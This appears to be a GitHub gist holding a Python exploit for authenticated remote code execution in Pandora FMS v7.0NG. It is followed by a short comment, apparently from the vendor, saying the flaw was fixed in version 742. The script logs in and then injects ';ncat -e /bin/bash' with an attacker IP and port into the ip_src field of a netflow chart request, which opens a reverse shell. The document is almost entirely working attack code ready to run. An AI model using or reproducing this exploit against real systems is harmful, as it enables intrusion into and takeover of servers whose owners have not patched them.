#!/usr/bin/python3 | |
# Exploit Title: Pandora v7.0NG Remote Code Execution | |
# Date: 14/11/2019 | |
# Exploit Author: Askar (@mohammadaskar2) | |
# Vendor Homepage: https://pandorafms.org/ | |
# Software link: https://pandorafms.org/features/free-download-monitoring-software/ | |
# Version: v7.0NG | |
# Tested on: CentOS 7.3 / PHP 5.4.16 | |
import requests | |
import sys | |
if len(sys.argv) != 6: | |
print("[+] Usage : ./exploit.py target username password ip port") | |
exit() | |
target = sys.argv[1] | |
username = sys.argv[2] | |
password = sys.argv[3] | |
ip = sys.argv[4] | |
port = int(sys.argv[5]) | |
request = requests.session() | |
login_info = { | |
"nick": username, | |
"pass": password, | |
"login_button": "Login" | |
} | |
login_request = request.post( | |
target+"/pandora_console/index.php?login=1", | |
login_info, | |
verify=False, | |
allow_redirects=True | |
) | |
resp = login_request.text | |
if "User not found in database" in resp: | |
print("[-] Login Failed") | |
exit() | |
else: | |
print("[+] Logged In Successfully") | |
print("[+] Sending crafted graph request ..") | |
body_request = { | |
"date": "0", | |
"time": "0", | |
"period": "0", | |
"interval_length": "0", | |
"chart_type": "netflow_area", | |
"max_aggregates": "1", | |
"address_resolution": "0", | |
"name": "0", | |
"assign_group": "0", | |
"filter_type": "0", | |
"filter_id": "0", | |
"filter_selected": "0", | |
"ip_dst": "0", | |
"ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port), | |
"draw_button": "Draw" | |
} | |
draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0" | |
print("[+] Check your netcat ;)") | |
request.post(draw_url, body_request) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
Hi Askar,
This vulnerability has been already solved in Pandora FMS 7.0NG 742.
Can you please modify it and explain that this is no longer a vulnerability of Pandora FMS?
Thanks you,
King regards,
María